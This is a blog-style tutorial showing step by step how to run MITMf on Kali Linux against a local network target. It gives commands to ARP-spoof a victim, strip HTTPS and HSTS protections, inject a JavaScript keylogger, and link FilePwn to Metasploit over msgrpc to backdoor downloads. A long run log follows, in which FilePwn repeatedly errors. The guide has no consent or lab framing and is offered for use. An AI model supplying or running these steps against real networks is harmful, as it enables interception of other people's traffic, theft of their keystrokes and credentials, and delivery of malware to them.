MITMF

MITMF is not just a tool for man-in-the-middle attack, this tool is able to inject a JSKeyloggers and do more stuff at the same time

[NOTICE]
You can install MITMF by apt-get, and this tool requires: pypcao & python-magic

[LETS MAKE IT WORK]
#1) Open termial & type:
assault@kalivm:~$ sudo mitmf –help
*You should get this output*

Mitmf-1

#2) Locate the values –filepwn & –jskeylogger

 

*FilePwn*

Mitmf-2

 

*JSKeylogger*

Mitmf-3

 

#3) Open a new terminal tab & type:
assault@kalivm:~$ sudo msfconsole
*Inside msf type*
msf > load msgrpc
*You should get this output*
[*] MSGRPC Service: 127.0.0.1:55552
[*] MSGRPC Usename: msf
[*] MSGRPC Password: kwavdcz7
[*] Successfully loaded plugin: msgrpc

Mitmf-4-conf

#4) Open a new terminal tab go to root & type:
root@kalivm:~# gedit /usr/share/mitmf/config/mitmf.conf
*Inside the mitmf conf file, locate [[Metasploit]] & add the msgrpc detalis from msf – Save & Close the file*
*It should look like this*

Mitmf-5-conf

 

#5) Open a new terminal tab & type:
assault@kalivm:~$ sudo mitmf -i wlan0 –spoof –arp –gateway 192.168.50.1 –target 192.168.50.7 –filepwn –jskeylogger
*And your will get this output*

▄▄▄▄███▄▄▄▄    ▄█      ███       ▄▄▄▄███▄▄▄▄      ▄████████
▄██▀▀▀███▀▀▀██▄ ███  ▀█████████▄ ▄██▀▀▀███▀▀▀██▄   ███    ███
███   ███   ███ ███▌    ▀███▀▀██ ███   ███   ███   ███    █▀
███   ███   ███ ███▌     ███   ▀ ███   ███   ███  ▄███▄▄▄
███   ███   ███ ███▌     ███     ███   ███   ███ ▀▀███▀▀▀
███   ███   ███ ███      ███     ███   ███   ███   ███
███   ███   ███ ███      ███     ███   ███   ███   ███
▀█   ███   █▀  █▀      ▄████▀    ▀█   ███   █▀    ███

[*] MITMf v0.9.8 – ‘The Dark Side’
|_ Spoof v0.6
|  |_ ARP spoofing enabled
|_ FilePwn v0.3
|  |_ BDFProxy v0.3.2 online
|  |_ Connected to Metasploit v4.12.15-dev
|_ JSKeylogger v0.2
|
|_ Sergio-Proxy v0.2.1 online
|_ SSLstrip v0.9 by Moxie Marlinspike online
|
|_ Net-Creds v1.0 online
|_ MITMf-API online
* Running on http://127.0.0.1:9999/
|_ HTTP server online
|_ DNSChef v0.4 online
|_ SMB server online

2016-08-17 17:05:11 192.168.50.7 [type:IE-11 os:Windows 7] youtube.com
2016-08-17 17:05:11 [ProxyPlugins] Exception occurred in hooked function
Traceback (most recent call last):
File “/usr/share/mitmf/core/proxyplugins.py”, line 112, in hook
a = f(**args)
File “/usr/share/mitmf/plugins/filepwn.py”, line 644, in response
mime_type = magic.from_buffer(data, mime=True)
AttributeError: ‘module’ object has no attribute ‘from_buffer’
2016-08-17 17:05:11 192.168.50.7 [type:IE-11 os:Windows 7] www.youtube.com
2016-08-17 17:05:12 [ProxyPlugins] Exception occurred in hooked function
Traceback (most recent call last):
File “/usr/share/mitmf/core/proxyplugins.py”, line 112, in hook
a = f(**args)
File “/usr/share/mitmf/plugins/filepwn.py”, line 644, in response
mime_type = magic.from_buffer(data, mime=True)
AttributeError: ‘module’ object has no attribute ‘from_buffer’
2016-08-17 17:05:12 192.168.50.7 [type:IE-11 os:Windows 7] www.youtube.com
2016-08-17 17:05:12 192.168.50.7 [type:IE-11 os:Windows 7] Zapped a strict-trasport-security header
2016-08-17 17:05:13 [ProxyPlugins] Exception occurred in hooked function
Traceback (most recent call last):
File “/usr/share/mitmf/core/proxyplugins.py”, line 112, in hook
a = f(**args)
File “/usr/share/mitmf/plugins/filepwn.py”, line 644, in response
mime_type = magic.from_buffer(data, mime=True)
AttributeError: ‘module’ object has no attribute ‘from_buffer’
2016-08-17 17:05:14 192.168.50.7 [type:IE-11 os:Windows 7] s.ytimg.com
2016-08-17 17:05:14 192.168.50.7 [type:IE-11 os:Windows 7] s.ytimg.com
2016-08-17 17:05:14 192.168.50.7 [type:IE-11 os:Windows 7] yt3.ggpht.com
2016-08-17 17:05:14 192.168.50.7 [type:IE-11 os:Windows 7] yt3.ggpht.com
2016-08-17 17:05:14 192.168.50.7 [type:IE-11 os:Windows 7] s.ytimg.com
2016-08-17 17:05:14 192.168.50.7 [type:IE-11 os:Windows 7] s.ytimg.com
2016-08-17 17:05:14 192.168.50.7 [type:IE-11 os:Windows 7] i.ytimg.com
2016-08-17 17:05:14 192.168.50.7 [type:IE-11 os:Windows 7] s.ytimg.com
2016-08-17 17:05:14 192.168.50.7 [type:IE-11 os:Windows 7] yt3.ggpht.com
2016-08-17 17:05:14 192.168.50.7 [type:IE-11 os:Windows 7] i.ytimg.com
2016-08-17 17:05:14 192.168.50.7 [type:IE-11 os:Windows 7] s.ytimg.com
2016-08-17 17:05:14 192.168.50.7 [type:IE-11 os:Windows 7] i.ytimg.com
2016-08-17 17:05:14 192.168.50.7 [type:IE-11 os:Windows 7] i.ytimg.com
2016-08-17 17:05:14 192.168.50.7 [type:IE-11 os:Windows 7] i.ytimg.com
2016-08-17 17:05:14 192.168.50.7 [type:IE-11 os:Windows 7] i.ytimg.com
2016-08-17 17:05:14 192.168.50.7 [type:IE-11 os:Windows 7] yt3.ggpht.com
2016-08-17 17:05:14 192.168.50.7 [type:IE-11 os:Windows 7] yt3.ggpht.com
2016-08-17 17:05:14 [ProxyPlugins] Exception occurred in hooked function
Traceback (most recent call last):
File “/usr/share/mitmf/core/proxyplugins.py”, line 112, in hook
a = f(**args)
File “/usr/share/mitmf/plugins/filepwn.py”, line 644, in response
mime_type = magic.from_buffer(data, mime=True)
AttributeError: ‘module’ object has no attribute ‘from_buffer’
2016-08-17 17:05:14 192.168.50.7 [type:IE-11 os:Windows 7] yt3.ggpht.com
2016-08-17 17:05:15 192.168.50.7 [type:IE-11 os:Windows 7] i.ytimg.com
2016-08-17 17:05:15 [ProxyPlugins] Exception occurred in hooked function
Traceback (most recent call last):
File “/usr/share/mitmf/core/proxyplugins.py”, line 112, in hook
a = f(**args)
File “/usr/share/mitmf/plugins/filepwn.py”, line 644, in response
mime_type = magic.from_buffer(data, mime=True)
AttributeError: ‘module’ object has no attribute ‘from_buffer’
2016-08-17 17:05:15 [ProxyPlugins] Exception occurred in hooked function
Traceback (most recent call last):
File “/usr/share/mitmf/core/proxyplugins.py”, line 112, in hook
a = f(**args)
File “/usr/share/mitmf/plugins/filepwn.py”, line 644, in response
mime_type = magic.from_buffer(data, mime=True)
AttributeError: ‘module’ object has no attribute ‘from_buffer’
2016-08-17 17:05:15 [ProxyPlugins] Exception occurred in hooked function
Traceback (most recent call last):
File “/usr/share/mitmf/core/proxyplugins.py”, line 112, in hook
a = f(**args)
File “/usr/share/mitmf/plugins/filepwn.py”, line 644, in response
mime_type = magic.from_buffer(data, mime=True)
AttributeError: ‘module’ object has no attribute ‘from_buffer’
2016-08-17 17:05:16 192.168.50.7 [type:IE-11 os:Windows 7] i.ytimg.com
2016-08-17 17:05:16 192.168.50.7 [type:IE-11 os:Windows 7] s.ytimg.com
2016-08-17 17:05:16 192.168.50.7 [type:IE-11 os:Windows 7] s.ytimg.com
2016-08-17 17:05:16 [ProxyPlugins] Exception occurred in hooked function
Traceback (most recent call last):
File “/usr/share/mitmf/core/proxyplugins.py”, line 112, in hook
a = f(**args)
File “/usr/share/mitmf/plugins/filepwn.py”, line 644, in response
mime_type = magic.from_buffer(data, mime=True)
AttributeError: ‘module’ object has no attribute ‘from_buffer’
2016-08-17 17:05:16 192.168.50.7 [type:IE-11 os:Windows 7] i.ytimg.com
2016-08-17 17:05:17 192.168.50.7 [type:IE-11 os:Windows 7] i.ytimg.com
2016-08-17 17:05:17 192.168.50.7 [type:IE-11 os:Windows 7] i.ytimg.com
2016-08-17 17:05:17 [ProxyPlugins] Exception occurred in hooked function
Traceback (most recent call last):
File “/usr/share/mitmf/core/proxyplugins.py”, line 112, in hook
a = f(**args)
File “/usr/share/mitmf/plugins/filepwn.py”, line 644, in response
mime_type = magic.from_buffer(data, mime=True)
AttributeError: ‘module’ object has no attribute ‘from_buffer’
2016-08-17 17:05:17 192.168.50.7 [type:IE-11 os:Windows 7] i.ytimg.com
2016-08-17 17:05:17 [ProxyPlugins] Exception occurred in hooked function
Traceback (most recent call last):
File “/usr/share/mitmf/core/proxyplugins.py”, line 112, in hook
a = f(**args)
File “/usr/share/mitmf/plugins/filepwn.py”, line 644, in response
mime_type = magic.from_buffer(data, mime=True)
AttributeError: ‘module’ object has no attribute ‘from_buffer’
2016-08-17 17:05:18 192.168.50.7 [type:IE-11 os:Windows 7] i.ytimg.com
2016-08-17 17:05:18 192.168.50.7 [type:IE-11 os:Windows 7] i.ytimg.com
2016-08-17 17:05:19 192.168.50.7 [type:IE-11 os:Windows 7] i.ytimg.com
2016-08-17 17:05:19 192.168.50.7 [type:IE-11 os:Windows 7] i.ytimg.com
2016-08-17 17:05:19 192.168.50.7 [type:IE-11 os:Windows 7] i.ytimg.com
2016-08-17 17:05:19 192.168.50.7 [type:IE-11 os:Windows 7] i.ytimg.com
2016-08-17 17:05:20 192.168.50.7 [type:IE-11 os:Windows 7] i.ytimg.com
2016-08-17 17:05:20 192.168.50.7 [type:IE-11 os:Windows 7] i.ytimg.com
2016-08-17 17:05:20 192.168.50.7 [type:IE-11 os:Windows 7] fonts.gstatic.com
2016-08-17 17:05:20 192.168.50.7 [type:IE-11 os:Windows 7] s.ytimg.com
2016-08-17 17:05:21 192.168.50.7 [type:IE-11 os:Windows 7] fonts.gstatic.com
2016-08-17 17:05:21 192.168.50.7 [type:IE-11 os:Windows 7] fonts.gstatic.com
2016-08-17 17:05:21 192.168.50.7 [type:IE-11 os:Windows 7] fonts.gstatic.com
2016-08-17 17:05:21 192.168.50.7 [type:Other-Other os:Other] clients1.google.com
2016-08-17 17:05:21 [ProxyPlugins] Exception occurred in hooked function
Traceback (most recent call last):
File “/usr/share/mitmf/core/proxyplugins.py”, line 112, in hook
a = f(**args)
File “/usr/share/mitmf/plugins/filepwn.py”, line 644, in response
mime_type = magic.from_buffer(data, mime=True)
AttributeError: ‘module’ object has no attribute ‘from_buffer’
2016-08-17 17:05:21 192.168.50.7 [type:Other-Other os:Other] clients1.google.com
2016-08-17 17:05:22 192.168.50.7 [type:IE-11 os:Windows 7] i.ytimg.com
2016-08-17 17:05:22 192.168.50.7 [type:IE-11 os:Windows 7] i.ytimg.com
2016-08-17 17:05:22 [ProxyPlugins] Exception occurred in hooked function
Traceback (most recent call last):
File “/usr/share/mitmf/core/proxyplugins.py”, line 112, in hook
a = f(**args)
File “/usr/share/mitmf/plugins/filepwn.py”, line 644, in response
mime_type = magic.from_buffer(data, mime=True)
AttributeError: ‘module’ object has no attribute ‘from_buffer’
2016-08-17 17:05:22 [ProxyPlugins] Exception occurred in hooked function
Traceback (most recent call last):
File “/usr/share/mitmf/core/proxyplugins.py”, line 112, in hook
a = f(**args)
File “/usr/share/mitmf/plugins/filepwn.py”, line 644, in response
mime_type = magic.from_buffer(data, mime=True)
AttributeError: ‘module’ object has no attribute ‘from_buffer’
2016-08-17 17:05:23 [ProxyPlugins] Exception occurred in hooked function
Traceback (most recent call last):
File “/usr/share/mitmf/core/proxyplugins.py”, line 112, in hook
a = f(**args)
File “/usr/share/mitmf/plugins/filepwn.py”, line 644, in response
mime_type = magic.from_buffer(data, mime=True)
AttributeError: ‘module’ object has no attribute ‘from_buffer’
2016-08-17 17:05:23 [ProxyPlugins] Exception occurred in hooked function
Traceback (most recent call last):
File “/usr/share/mitmf/core/proxyplugins.py”, line 112, in hook
a = f(**args)
File “/usr/share/mitmf/plugins/filepwn.py”, line 644, in response
mime_type = magic.from_buffer(data, mime=True)
AttributeError: ‘module’ object has no attribute ‘from_buffer’
2016-08-17 17:05:23 192.168.50.7 [type:IE-11 os:Windows 7] i.ytimg.com
2016-08-17 17:05:23 [ProxyPlugins] Exception occurred in hooked function
Traceback (most recent call last):
File “/usr/share/mitmf/core/proxyplugins.py”, line 112, in hook
a = f(**args)
File “/usr/share/mitmf/plugins/filepwn.py”, line 644, in response
mime_type = magic.from_buffer(data, mime=True)
AttributeError: ‘module’ object has no attribute ‘from_buffer’

 

 

ENJOY! 🙂

 

Here is an example by Gamer Forever